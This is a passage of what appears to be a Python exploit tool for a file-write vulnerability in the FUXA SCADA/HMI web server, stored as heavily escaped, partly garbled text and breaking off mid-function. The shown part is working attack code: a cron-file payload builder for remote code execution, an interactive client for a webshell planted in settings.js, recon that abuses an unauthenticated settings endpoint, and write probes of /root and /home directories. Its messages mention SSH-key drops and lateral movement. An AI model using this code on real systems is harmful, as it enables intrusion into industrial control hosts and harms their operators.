&#8216;http:\/\/127.0.0.1&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;                     &#8216;http:\/\/192.168.*&#8217;, &#8216;http:\/\/10.*&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;                     &#8216;http:\/\/localhost:4200&#8217;],\\\\n\\&#8221;\\r\\n        \\&#8221;    heartbeatIntervalSec: 10,\\\\n\\&#8221;\\r\\n        \\&#8221;    webcamSnapShotsDir: &#8216;_webcam_snapshots&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;    webcamSnapShotsCleanup: false,\\\\n\\&#8221;\\r\\n        \\&#8221;    webcamSnapShotsRetain: 7,\\\\n\\&#8221;\\r\\n        \\&#8221;    swaggerEnabled: false,\\\\n\\&#8221;\\r\\n        \\&#8221;    nodeRedEnabled: false,\\\\n\\&#8221;\\r\\n        \\&#8221;};\\\\n\\&#8221;\\r\\n    )\\r\\n\\r\\n\\r\\n# &#8212; Cron payload &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n#\\r\\n# The write primitive can drop directly into cron-reread paths. When FUXA\\r\\n# runs as root (common in container deployments, and in any install where\\r\\n# the service was started by an admin who didn&#8217;t bother with a dedicated\\r\\n# user), \/etc\/cron.d\/\\u003cname\\u003e is re-read every minute by the cron daemon \u2014\\r\\n# that&#8217;s RCE with a \\u003c=60s delay and no FUXA restart.\\r\\n#\\r\\n# When FUXA runs as a non-root user, \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e\\r\\n# (Debian\/Vixie layout) or \/var\/spool\/cron\/\\u003cuser\\u003e (RHEL\/cronie) is the\\r\\n# equivalent, but those user-crontab paths require mode 0600 and the\\r\\n# correct owning uid; fs.writeFileSync will produce mode 0644 owned by\\r\\n# the FUXA uid, which matches the owner but not the mode \u2014 Vixie rejects,\\r\\n# cronie accepts. Test per engagement.\\r\\n\\r\\n_CRON_HEADER = (\\r\\n    \\&#8221;# FUXA health monitor\\\\n\\&#8221;\\r\\n    \\&#8221;SHELL=\/bin\/sh\\\\n\\&#8221;\\r\\n    \\&#8221;PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\\\n\\&#8221;\\r\\n)\\r\\n\\r\\n\\r\\ndef payload_cron_job(schedule: str, user: Optional[str], cmd: str) -\\u003e bytes:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Build a cron file body.\\r\\n\\r\\n    If `user` is given (required for \/etc\/cron.d\/* and \/etc\/crontab), the\\r\\n    user field is included. For \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e style files,\\r\\n    pass user=None so only `schedule cmd` is written.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    if user:\\r\\n        line = f\\&#8221;{schedule} {user} {cmd}\\\\n\\&#8221;\\r\\n    else:\\r\\n        line = f\\&#8221;{schedule} {cmd}\\\\n\\&#8221;\\r\\n    return (_CRON_HEADER + line).encode(\\&#8221;utf-8\\&#8221;)\\r\\n\\r\\n\\r\\n# &#8212; Webshell client &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n#\\r\\n# Convenience: after writing the webshell payload, the operator can exec\\r\\n# commands through it directly from this script instead of reaching for curl.\\r\\n\\r\\nclass FuxaWebshellClient:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Thin HTTP client for the webshell listener embedded in settings.js.\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\n    def __init__(self, host: str, port: int, ws_path: str, ws_token: str,\\r\\n                 timeout: int = 65, use_tls: bool = False,\\r\\n                 verify_tls: bool = True, proxy: Optional[str] = None):\\r\\n        if not ws_path.startswith(\\&#8221;\/\\&#8221;):\\r\\n            ws_path = \\&#8221;\/\\&#8221; + ws_path\\r\\n        scheme = \\&#8221;https\\&#8221; if use_tls else \\&#8221;http\\&#8221;\\r\\n        self.url = f\\&#8221;{scheme}:\/\/{host}:{port}{ws_path}\\&#8221;\\r\\n        self.token = ws_token\\r\\n        self.timeout = timeout\\r\\n        self.verify_tls = verify_tls\\r\\n        self.session = requests.Session()\\r\\n        self.session.headers.update({\\r\\n            \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (FUXA-CVE-2026-25895-Shell)\\&#8221;,\\r\\n            \\&#8221;X-Auth-Token\\&#8221;: ws_token,\\r\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;,\\r\\n        })\\r\\n        if proxy:\\r\\n            self.session.proxies = {\\&#8221;http\\&#8221;: proxy, \\&#8221;https\\&#8221;: proxy}\\r\\n\\r\\n    def exec(self, cmd: str) -\\u003e Tuple[int, str]:\\r\\n        try:\\r\\n            r = self.session.post(\\r\\n                self.url,\\r\\n                data=json.dumps({\\&#8221;cmd\\&#8221;: cmd}),\\r\\n                timeout=self.timeout,\\r\\n                verify=self.verify_tls,\\r\\n            )\\r\\n            return r.status_code, r.text\\r\\n        except requests.RequestException as e:\\r\\n            return 0, f\\&#8221;[client] request failed: {e}\\&#8221;\\r\\n\\r\\n    def alive(self) -\\u003e Tuple[bool, str]:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Cheap liveness check \u2014 the listener is up if `echo ok` returns.\\&#8221;\\&#8221;\\&#8221;\\r\\n        code, body = self.exec(\\&#8221;echo ok\\&#8221;)\\r\\n        return (code == 200 and \\&#8221;ok\\&#8221; in body), f\\&#8221;HTTP {code}: {body.strip()[:120]}\\&#8221;\\r\\n\\r\\n\\r\\ndef _interactive_loop(client: \\&#8221;FuxaWebshellClient\\&#8221;) -\\u003e None:\\r\\n    print(\\&#8221;[*] Webshell client \u2014 type commands, :q to exit, :help for tips\\&#8221;,\\r\\n          flush=True)\\r\\n    ok, info = client.alive()\\r\\n    if ok:\\r\\n        print(f\\&#8221;[+] Listener reachable ({info})\\&#8221;, flush=True)\\r\\n    else:\\r\\n        print(f\\&#8221;[!] Listener not responding yet ({info}). FUXA may not have \\&#8221;\\r\\n              \\&#8221;restarted since the webshell payload was written \u2014 wait for \\&#8221;\\r\\n              \\&#8221;the next cold start, then retry.\\&#8221;, flush=True)\\r\\n    try:\\r\\n        while True:\\r\\n            try:\\r\\n                line = input(\\&#8221;fuxa$ \\&#8221;)\\r\\n            except EOFError:\\r\\n                print()\\r\\n                break\\r\\n            if not line.strip():\\r\\n                continue\\r\\n            if line.strip() in (\\&#8221;:q\\&#8221;, \\&#8221;:quit\\&#8221;, \\&#8221;:exit\\&#8221;):\\r\\n                break\\r\\n            if line.strip() == \\&#8221;:help\\&#8221;:\\r\\n                print(\\&#8221;  :q          &#8211; quit\\\\n\\&#8221;\\r\\n                      \\&#8221;  :alive      &#8211; ping the listener\\\\n\\&#8221;\\r\\n                      \\&#8221;  any other   &#8211; run via \/bin\/sh on the target\\&#8221;,\\r\\n                      flush=True)\\r\\n                continue\\r\\n            if line.strip() == \\&#8221;:alive\\&#8221;:\\r\\n                ok, info = client.alive()\\r\\n                print(f\\&#8221;    {&#8216;[+]&#8217; if ok else &#8216;[-]&#8217;} {info}\\&#8221;, flush=True)\\r\\n                continue\\r\\n            code, body = client.exec(line)\\r\\n            if code != 200:\\r\\n                print(f\\&#8221;[!] HTTP {code}\\&#8221;, flush=True)\\r\\n            sys.stdout.write(body)\\r\\n            if body and not body.endswith(\\&#8221;\\\\n\\&#8221;):\\r\\n                sys.stdout.write(\\&#8221;\\\\n\\&#8221;)\\r\\n            sys.stdout.flush()\\r\\n    except KeyboardInterrupt:\\r\\n        print(\\&#8221;\\\\n[*] Interrupted.\\&#8221;, flush=True)\\r\\n\\r\\n\\r\\n# &#8212; Recon helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\r\\n#\\r\\n# `\/api\/settings` is registered WITHOUT auth middleware in server\/api\/index.js\\r\\n# at line 103, so an unauthenticated GET returns the full `runtime.settings`\\r\\n# object (smtp password + secretCode redacted). The absolute paths in that\\r\\n# object reveal the FUXA cwd and, by inference, the OS user the process runs\\r\\n# under. This is the primary recon primitive.\\r\\n\\r\\n# Path-prefix patterns that map to a likely running user or deployment context.\\r\\nUSER_CONTEXT_HINTS: List[Tuple[str, str, Optional[str]]] = [\\r\\n    # (prefix,           human-readable context,                       inferred user)\\r\\n    (\\&#8221;\/root\/\\&#8221;,           \\&#8221;paths under \/root\/\\&#8221;,                         \\&#8221;root\\&#8221;),\\r\\n    (\\&#8221;\/usr\/src\/app\/\\&#8221;,    \\&#8221;upstream FUXA Dockerfile WORKDIR\\&#8221;,           \\&#8221;root (in container)\\&#8221;),\\r\\n    (\\&#8221;\/opt\/fuxa\/\\&#8221;,       \\&#8221;\/opt packaged install\\&#8221;,                      \\&#8221;fuxa (typical service user)\\&#8221;),\\r\\n    (\\&#8221;\/opt\/FUXA\/\\&#8221;,       \\&#8221;\/opt packaged install (uppercase layout)\\&#8221;,   \\&#8221;fuxa \/ root\\&#8221;),\\r\\n    (\\&#8221;\/srv\/fuxa\/\\&#8221;,       \\&#8221;\/srv packaged install\\&#8221;,                      \\&#8221;fuxa (typical service user)\\&#8221;),\\r\\n    (\\&#8221;\/var\/lib\/fuxa\/\\&#8221;,   \\&#8221;systemd dedicated-user install\\&#8221;,             \\&#8221;fuxa\\&#8221;),\\r\\n    (\\&#8221;\/app\/\\&#8221;,            \\&#8221;Docker container (custom image)\\&#8221;,            \\&#8221;root (likely)\\&#8221;),\\r\\n    (\\&#8221;\/tmp\/\\&#8221;,            \\&#8221;non-standard \/ dev\/test deployment\\&#8221;,         None),\\r\\n]\\r\\n\\r\\n# Paths whose fields are worth printing in a recon summary.\\r\\n_RECON_KEYS_INTERESTING: List[str] = [\\r\\n    \\&#8221;version\\&#8221;, \\&#8221;uiHost\\&#8221;, \\&#8221;uiPort\\&#8221;, \\&#8221;serverPort\\&#8221;, \\&#8221;language\\&#8221;,\\r\\n    \\&#8221;environment\\&#8221;, \\&#8221;secureEnabled\\&#8221;, \\&#8221;nodeRedEnabled\\&#8221;, \\&#8221;swaggerEnabled\\&#8221;,\\r\\n    \\&#8221;appDir\\&#8221;, \\&#8221;workDir\\&#8221;, \\&#8221;logDir\\&#8221;, \\&#8221;dbDir\\&#8221;,\\r\\n    \\&#8221;uploadFileDir\\&#8221;, \\&#8221;imagesFileDir\\&#8221;, \\&#8221;widgetsFileDir\\&#8221;,\\r\\n    \\&#8221;reportsDir\\&#8221;, \\&#8221;webcamSnapShotsDir\\&#8221;, \\&#8221;userSettingsFile\\&#8221;,\\r\\n    \\&#8221;httpStatic\\&#8221;, \\&#8221;userDir\\&#8221;,\\r\\n]\\r\\n\\r\\n# Subset of keys that should hold an absolute path \u2014 used for user inference.\\r\\n_RECON_KEYS_PATHS: List[str] = [\\r\\n    \\&#8221;appDir\\&#8221;, \\&#8221;workDir\\&#8221;, \\&#8221;logDir\\&#8221;, \\&#8221;dbDir\\&#8221;,\\r\\n    \\&#8221;uploadFileDir\\&#8221;, \\&#8221;imagesFileDir\\&#8221;, \\&#8221;widgetsFileDir\\&#8221;,\\r\\n    \\&#8221;reportsDir\\&#8221;, \\&#8221;webcamSnapShotsDir\\&#8221;, \\&#8221;userSettingsFile\\&#8221;,\\r\\n    \\&#8221;httpStatic\\&#8221;, \\&#8221;userDir\\&#8221;,\\r\\n]\\r\\n\\r\\n\\r\\n# Home-directory candidates for active user inference.\\r\\n#\\r\\n# Rationale: when the install paths leaked by \/api\/settings don&#8217;t reveal the\\r\\n# running user (e.g. install is under \/opt, \/tmp, or a generic \/app), and the\\r\\n# \/root probe fails (not root), we still need the user&#8217;s name before we can\\r\\n# drop ssh keys or write anywhere under \/home\/\\u003cuser\\u003e\/. A 0-byte write to\\r\\n# \/home\/\\u003ccandidate\\u003e\/.fuxa-probe-\\u003crand\\u003e is a strong positive signal: home dirs\\r\\n# are typically mode 0700 owned by the user, so a successful write implies\\r\\n# FUXA runs as that user. Failure is ambiguous (no dir OR no perm), so we\\r\\n# only act on successes.\\r\\n#\\r\\n# Keep this list short and high-signal. Each probe leaves a marker file on the\\r\\n# target, so a 100-entry list also means 100 files to clean up. Operators with\\r\\n# a known-user shortlist should pass &#8211;home-wordlist.\\r\\n\\r\\nDEFAULT_HOME_CANDIDATES: List[str] = [\\r\\n    # Service \/ role accounts common on SCADA \/ OT boxes\\r\\n    \\&#8221;fuxa\\&#8221;, \\&#8221;scada\\&#8221;, \\&#8221;operator\\&#8221;, \\&#8221;opc\\&#8221;, \\&#8221;plc\\&#8221;, \\&#8221;hmi\\&#8221;,\\r\\n    \\&#8221;node\\&#8221;, \\&#8221;nodered\\&#8221;, \\&#8221;service\\&#8221;, \\&#8221;app\\&#8221;,\\r\\n    # Distro \/ image defaults\\r\\n    \\&#8221;ubuntu\\&#8221;, \\&#8221;debian\\&#8221;, \\&#8221;centos\\&#8221;, \\&#8221;admin\\&#8221;, \\&#8221;pi\\&#8221;,\\r\\n    # Generic\\r\\n    \\&#8221;user\\&#8221;,\\r\\n]\\r\\n\\r\\n\\r\\ndef _infer_user_from_path(p: str) -\\u003e Tuple[str, Optional[str]]:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Given one absolute path from settings, return (context, likely_user).\\&#8221;\\&#8221;\\&#8221;\\r\\n    if p.startswith(\\&#8221;\/home\/\\&#8221;):\\r\\n        # Expect \/home\/\\u003cname\\u003e\/&#8230; \u2014 grab the \\u003cname\\u003e segment.\\r\\n        parts = p.split(\\&#8221;\/\\&#8221;, 3)   # [&#8221;, &#8216;home&#8217;, &#8216;\\u003cname\\u003e&#8217;, &#8216;\\u003crest\\u003e&#8217;]\\r\\n        if len(parts) \\u003e= 3 and parts[2]:\\r\\n            return (f\\&#8221;home-directory install under \/home\/{parts[2]}\/\\&#8221;, parts[2])\\r\\n        return (\\&#8221;home-directory install under \/home\/\\&#8221;, None)\\r\\n    for prefix, label, user in USER_CONTEXT_HINTS:\\r\\n        if p.startswith(prefix):\\r\\n            return (label, user)\\r\\n    return (\\&#8221;unrecognized path layout \u2014 inspect manually\\&#8221;, None)\\r\\n\\r\\n\\r\\ndef probe_home_directories(ex: \\&#8221;FuxaUploadExploit\\&#8221;, depth: int,\\r\\n                           candidates: List[str]\\r\\n                           ) -\\u003e Tuple[List[str], List[str]]:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Iterate \/home\/\\u003ccandidate\\u003e\/ with a 0-byte write probe.\\r\\n\\r\\n    The upload handler (server\/api\/projects\/index.js) runs\\r\\n        if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });\\r\\n        fs.writeFileSync(filePath, &#8230;);\\r\\n    so the failing syscall in the server&#8217;s error message tells us which step\\r\\n    tripped, and that determines what the filesystem actually looks like:\\r\\n\\r\\n      * 200 OK                         -\\u003e home exists AND FUXA can write\\r\\n                                          -\\u003e likely the running user\\r\\n      * 400 EACCES, syscall=open\/write -\\u003e home dir exists but mode-0700 owned\\r\\n                                          by someone else -\\u003e OTHER user exists\\r\\n      * 400 EACCES, syscall=mkdir      -\\u003e home dir does NOT exist; we tried\\r\\n                                          to create it under root-owned \/home\/\\r\\n                                          and got denied -\\u003e user absent\\r\\n      * 400 ENOENT                     -\\u003e deep ancestor missing (rare under\\r\\n                                          recursive mkdir); treat as absent\\r\\n      * anything else                  -\\u003e unexpected; stay silent\\r\\n\\r\\n    Distinguishing mkdir-EACCES from open-EACCES is critical: without it,\\r\\n    every candidate in the wordlist reports as \\&#8221;account present\\&#8221; because\\r\\n    non-root FUXA can&#8217;t mkdir under \/home\/ regardless of whether the user\\r\\n    exists. See the fuxapwn write-up for the observed behaviour.\\r\\n\\r\\n    Returns (writable_users, other_existing_users). Multiple entries in\\r\\n    writable_users indicate FUXA is root or group perms are loose; the\\r\\n    caller decides how to report.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    writable: List[str] = []\\r\\n    other_exists: List[str] = []\\r\\n    markers: List[str] = []\\r\\n    for user in candidates:\\r\\n        marker = f\\&#8221;.fuxa-probe-{secrets.token_hex(4)}\\&#8221;\\r\\n        target = f\\&#8221;\/home\/{user}\/{marker}\\&#8221;\\r\\n        res = ex.write_arbitrary(target, b\\&#8221;\\&#8221;, appdir_depth=depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)\\r\\n        if res[\\&#8221;success\\&#8221;]:\\r\\n            print(f\\&#8221;    [+] \/home\/{user}\/ is writable (likely user: {user})\\&#8221;,\\r\\n                  flush=True)\\r\\n            writable.append(user)\\r\\n            markers.append(target)\\r\\n            continue\\r\\n        errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n        syscall = res.get(\\&#8221;syscall\\&#8221;)\\r\\n        # Only an EACCES on the write itself (open\/write\/copyfile\/etc., i.e.\\r\\n        # anything that isn&#8217;t the pre-flight mkdir) proves the home dir\\r\\n        # exists. A mkdir EACCES just means \/home\/\\u003cuser\\u003e\/ is absent and we\\r\\n        # can&#8217;t create it.\\r\\n        if errno == \\&#8221;EACCES\\&#8221; and syscall and syscall != \\&#8221;mkdir\\&#8221;:\\r\\n            print(f\\&#8221;    [*] \/home\/{user}\/ exists but is not writable \\&#8221;\\r\\n                  \\&#8221;(EACCES on write) \u2014 account present, not the FUXA user\\&#8221;,\\r\\n                  flush=True)\\r\\n            other_exists.append(user)\\r\\n        # All other outcomes (EACCES+mkdir, ENOENT, unknown) are treated as\\r\\n        # \\&#8221;not here\\&#8221; and stay silent \u2014 logging each miss drowns the signal.\\r\\n    if markers:\\r\\n        print(\\&#8221;[*] Probe markers left on target \u2014 clean up once you have exec:\\&#8221;,\\r\\n              flush=True)\\r\\n        for m in markers:\\r\\n            print(f\\&#8221;       rm {m}\\&#8221;, flush=True)\\r\\n    return writable, other_exists\\r\\n\\r\\n\\r\\ndef do_recon(ex: \\&#8221;FuxaUploadExploit\\&#8221;, depth: int,\\r\\n             probe_root: bool = False, probe_home: bool = False,\\r\\n             home_candidates: Optional[List[str]] = None) -\\u003e int:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Run &#8211;mode recon: fetch \/api\/settings (unauth), summarize running\\r\\n    context, infer likely OS user, and optionally probe \/root\/ or\\r\\n    \/home\/\\u003cuser\\u003e\/ writability to pin down the running user when paths\\r\\n    alone don&#8217;t leak it.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    print(\\&#8221;[*] Stage 1 \u2014 GET \/api\/settings (unauthenticated leak)\\&#8221;, flush=True)\\r\\n    ok, info, settings = ex.fetch_settings()\\r\\n    if not ok or settings is None:\\r\\n        print(f\\&#8221;[-] \/api\/settings fetch failed: {info}\\&#8221;, flush=True)\\r\\n        return 1\\r\\n\\r\\n    print(\\&#8221;[+] \/api\/settings returned JSON. Interesting fields:\\&#8221;, flush=True)\\r\\n    for k in _RECON_KEYS_INTERESTING:\\r\\n        if k in settings:\\r\\n            print(f\\&#8221;    {k:22s} = {settings[k]!r}\\&#8221;, flush=True)\\r\\n\\r\\n    # Path-based user inference.\\r\\n    print(\\&#8221;[*] Stage 2 \u2014 user inference from absolute path layout:\\&#8221;, flush=True)\\r\\n    candidates: \\&#8221;set[str]\\&#8221; = set()\\r\\n    saw_path = False\\r\\n    for k in _RECON_KEYS_PATHS:\\r\\n        v = settings.get(k)\\r\\n        if not isinstance(v, str) or not v.startswith(\\&#8221;\/\\&#8221;):\\r\\n            continue\\r\\n        saw_path = True\\r\\n        label, user = _infer_user_from_path(v)\\r\\n        suffix = f\\&#8221; -\\u003e likely user: {user}\\&#8221; if user else \\&#8221;\\&#8221;\\r\\n        print(f\\&#8221;    {k}={v}  [{label}]{suffix}\\&#8221;, flush=True)\\r\\n        if user:\\r\\n            candidates.add(user)\\r\\n\\r\\n    if not saw_path:\\r\\n        print(\\&#8221;    (no absolute paths reported \u2014 manual inspection required)\\&#8221;,\\r\\n              flush=True)\\r\\n    elif candidates:\\r\\n        print(f\\&#8221;[+] Likely running user(s): {&#8216;, &#8216;.join(sorted(candidates))}\\&#8221;,\\r\\n              flush=True)\\r\\n    else:\\r\\n        print(\\&#8221;[!] Could not infer user from paths alone. Re-run with \\&#8221;\\r\\n              \\&#8221;&#8211;probe-root to confirm root access directly.\\&#8221;, flush=True)\\r\\n\\r\\n    # Node-RED gate \u2014 key tell for instant unauth RCE.\\r\\n    if settings.get(\\&#8221;nodeRedEnabled\\&#8221;):\\r\\n        print(\\&#8221;[!] nodeRedEnabled=true \u2014 POST \/nodered\/flows and \\&#8221;\\r\\n              \\&#8221;\/nodered\/flows\/deploy bypass auth in allowDashboard \\&#8221;\\r\\n              \\&#8221;(server\/integrations\/node-red\/index.js:134-136). A function \\&#8221;\\r\\n              \\&#8221;node flow is instant unauth RCE; no FUXA restart required.\\&#8221;,\\r\\n              flush=True)\\r\\n    else:\\r\\n        print(\\&#8221;[*] nodeRedEnabled=false \u2014 Node-RED instant-RCE pivot not \\&#8221;\\r\\n              \\&#8221;currently available (would require flipping the setting and \\&#8221;\\r\\n              \\&#8221;a restart).\\&#8221;, flush=True)\\r\\n\\r\\n    # Optional active probe: write a 0-byte marker to \/root\/.\\r\\n    root_writable: Optional[bool] = None\\r\\n    if probe_root:\\r\\n        marker = f\\&#8221;.fuxa-probe-{secrets.token_hex(4)}\\&#8221;\\r\\n        target = f\\&#8221;\/root\/{marker}\\&#8221;\\r\\n        print(f\\&#8221;[*] Stage 3 \u2014 probing \/root\/ writability via {target}\\&#8221;,\\r\\n              flush=True)\\r\\n        res = ex.write_arbitrary(target, b\\&#8221;\\&#8221;, appdir_depth=depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)\\r\\n        if res[\\&#8221;success\\&#8221;]:\\r\\n            root_writable = True\\r\\n            print(f\\&#8221;[+] \/root\/{marker} write SUCCEEDED \u2014 FUXA is running as \\&#8221;\\r\\n                  f\\&#8221;root. (Clean up {target} once you have exec.)\\&#8221;,\\r\\n                  flush=True)\\r\\n        else:\\r\\n            root_writable = False\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;) or \\&#8221;unknown\\&#8221;\\r\\n            print(f\\&#8221;[-] \/root write failed (errno={errno}) \u2014 FUXA is NOT \\&#8221;\\r\\n                  \\&#8221;root.\\&#8221;, flush=True)\\r\\n\\r\\n    # Optional active probe: iterate \/home\/\\u003cuser\\u003e\/ candidates. Most useful\\r\\n    # when paths didn&#8217;t leak the user and root probe came back negative\\r\\n    # (or wasn&#8217;t run). If root was confirmed writable, we still run the\\r\\n    # probe if asked but annotate that positives are not conclusive.\\r\\n    if probe_home:\\r\\n        candidates = home_candidates if home_candidates else DEFAULT_HOME_CANDIDATES\\r\\n        stage = \\&#8221;Stage 4\\&#8221; if probe_root else \\&#8221;Stage 3\\&#8221;\\r\\n        print(f\\&#8221;[*] {stage} \u2014 probing \/home\/\\u003cuser\\u003e\/ writability across \\&#8221;\\r\\n              f\\&#8221;{len(candidates)} candidate(s)\\&#8221;, flush=True)\\r\\n        writable, other_exists = probe_home_directories(ex, depth, candidates)\\r\\n\\r\\n        if other_exists:\\r\\n            print(f\\&#8221;[*] Other user accounts confirmed on target (home exists, \\&#8221;\\r\\n                  f\\&#8221;not the FUXA user): {&#8216;, &#8216;.join(other_exists)}. Useful for \\&#8221;\\r\\n                  \\&#8221;lateral movement planning.\\&#8221;, flush=True)\\r\\n\\r\\n        if not writable:\\r\\n            if other_exists:\\r\\n                print(\\&#8221;[-] None of the probed accounts ARE the FUXA user. \\&#8221;\\r\\n                      \\&#8221;Extend the wordlist via &#8211;home-wordlist, or drop a \\&#8221;\\r\\n                      \\&#8221;webshell\/cron payload to enumerate via exec.\\&#8221;,\\r\\n                      flush=True)\\r\\n            else:\\r\\n                print(\\&#8221;[-] No \/home\/\\u003cuser\\u003e in the candidate list was writable \\&#8221;\\r\\n                      \\&#8221;or even present. Target may not use \/home\/ layout \\&#8221;\\r\\n                      \\&#8221;(e.g. \/var\/lib, \/opt, containerized). Extend via \\&#8221;\\r\\n                      \\&#8221;&#8211;home-wordlist or pivot to webshell\/cron.\\&#8221;,\\r\\n                      flush=True)\\r\\n        elif root_writable:\\r\\n            print(\\&#8221;[!] \/root was writable earlier, so FUXA is root and can \\&#8221;\\r\\n                  \\&#8221;write to any \/home\/\\u003cuser\\u003e\/. The positives above do NOT \\&#8221;\\r\\n                  \\&#8221;identify the running user.\\&#8221;, flush=True)\\r\\n        elif len(writable) == 1:\\r\\n            user = writable[0]\\r\\n            print(f\\&#8221;[+] Inferred running user: {user}\\&#8221;, flush=True)\\r\\n            print(f\\&#8221;    Suggested follow-up for mode=ssh-key: &#8211;home \/home\/{user}\\&#8221;,\\r\\n                  flush=True)\\r\\n        else:\\r\\n            print(f\\&#8221;[!] Multiple \/home\/\\u003cuser\\u003e\/ dirs were writable: \\&#8221;\\r\\n                  f\\&#8221;{&#8216;, &#8216;.join(writable)}. Unusual (loose group perms, shared \\&#8221;\\r\\n                  \\&#8221;service account, or root). Confirm via webshell\/cron exec.\\&#8221;,\\r\\n                  flush=True)\\r\\n\\r\\n    return 0\\r\\n\\r\\n\\r\\n# &#8212; Payload-time helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\r\\n\\r\\ndef _fetch_real_settings_for_payload(ex: \\&#8221;FuxaUploadExploit\\&#8221;) -\\u003e Optional[Dict]:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Fetch \/api\/settings so our settings.js replacement can preserve the\\r\\n    target&#8217;s real config. Returns None on failure (caller falls back to the\\r\\n    built-in default). Warns on operational gotchas (auth enabled, smtp set)\\r\\n    that the redaction behavior of \/api\/settings can&#8217;t round-trip.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    print(\\&#8221;[*] Pre-fetching \/api\/settings so the replacement preserves the \\&#8221;\\r\\n          \\&#8221;target&#8217;s real config&#8230;\\&#8221;, flush=True)\\r\\n    ok, info, settings = ex.fetch_settings()\\r\\n    if not ok or settings is None:\\r\\n        print(f\\&#8221;[!] \/api\/settings fetch failed ({info}). Falling back to the \\&#8221;\\r\\n              \\&#8221;built-in default settings block \u2014 custom uiPort, \\&#8221;\\r\\n              \\&#8221;allowedOrigins, secureEnabled, etc. on the target will be \\&#8221;\\r\\n              \\&#8221;reset on next restart. Consider aborting if config fidelity \\&#8221;\\r\\n              \\&#8221;matters for this engagement.\\&#8221;, flush=True)\\r\\n        return None\\r\\n    # Operational warnings based on what we got back.\\r\\n    if settings.get(\\&#8221;secureEnabled\\&#8221;):\\r\\n        print(\\&#8221;[!] target has secureEnabled=true. \/api\/settings redacts \\&#8221;\\r\\n              \\&#8221;secretCode, so the replacement settings.js cannot round-trip \\&#8221;\\r\\n              \\&#8221;it. FUXA&#8217;s jwt-helper.js will fall back to the hardcoded \\&#8221;\\r\\n              \\&#8221;default &#8216;frangoteam751&#8217;, which invalidates any existing JWTs \\&#8221;\\r\\n              \\&#8221;if the target previously set a custom secretCode. Users will \\&#8221;\\r\\n              \\&#8221;be kicked out on next request after restart.\\&#8221;, flush=True)\\r\\n    if isinstance(settings.get(\\&#8221;smtp\\&#8221;), dict):\\r\\n        print(\\&#8221;[!] target has smtp configured. \/api\/settings redacts \\&#8221;\\r\\n              \\&#8221;smtp.password; replacement settings.js will have no smtp \\&#8221;\\r\\n              \\&#8221;password. Outgoing mail from FUXA will fail until restored.\\&#8221;,\\r\\n              flush=True)\\r\\n    print(f\\&#8221;[+] Pulled {len(settings)} settings keys; replacement will mirror \\&#8221;\\r\\n          \\&#8221;the target.\\&#8221;, flush=True)\\r\\n    return settings\\r\\n\\r\\n\\r\\n# &#8212; Driver &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n\\r\\ndef run(args: argparse.Namespace) -\\u003e int:\\r\\n    if not args.quiet:\\r\\n        print(BANNER, flush=True)\\r\\n\\r\\n    ex = FuxaUploadExploit(\\r\\n        base_url=args.url,\\r\\n        timeout=args.timeout,\\r\\n        verify_tls=not args.insecure,\\r\\n        proxy=args.proxy,\\r\\n        verbose=not args.quiet,\\r\\n    )\\r\\n\\r\\n    print(f\\&#8221;[*] Target: {args.url}\\&#8221;, flush=True)\\r\\n\\r\\n    # Recon mode runs on \/api\/settings directly \u2014 no canary needed, and we\\r\\n    # explicitly do NOT want to write anything unless &#8211;probe-root \/\\r\\n    # &#8211;probe-home is set.\\r\\n    if args.mode == \\&#8221;recon\\&#8221;:\\r\\n        ok, info = ex.fingerprint()\\r\\n        if ok:\\r\\n            print(f\\&#8221;[+] \/api\/version reachable, banner='{info}&#8217;\\&#8221;, flush=True)\\r\\n        else:\\r\\n            print(f\\&#8221;[-] \/api\/version unreachable: {info}\\&#8221;, flush=True)\\r\\n            if not args.force:\\r\\n                return 1\\r\\n\\r\\n        # Load &#8211;home-wordlist if supplied. One username per line, blanks\\r\\n        # and &#8216;#&#8217; comments ignored so the operator can paste from notes.\\r\\n        # BOM-aware so PowerShell-generated files (UTF-16 LE w\/ BOM is the\\r\\n        # PS 5.1 default for `echo x \\u003e file`) load without UnicodeDecodeError.\\r\\n        home_candidates: Optional[List[str]] = None\\r\\n        if args.home_wordlist:\\r\\n            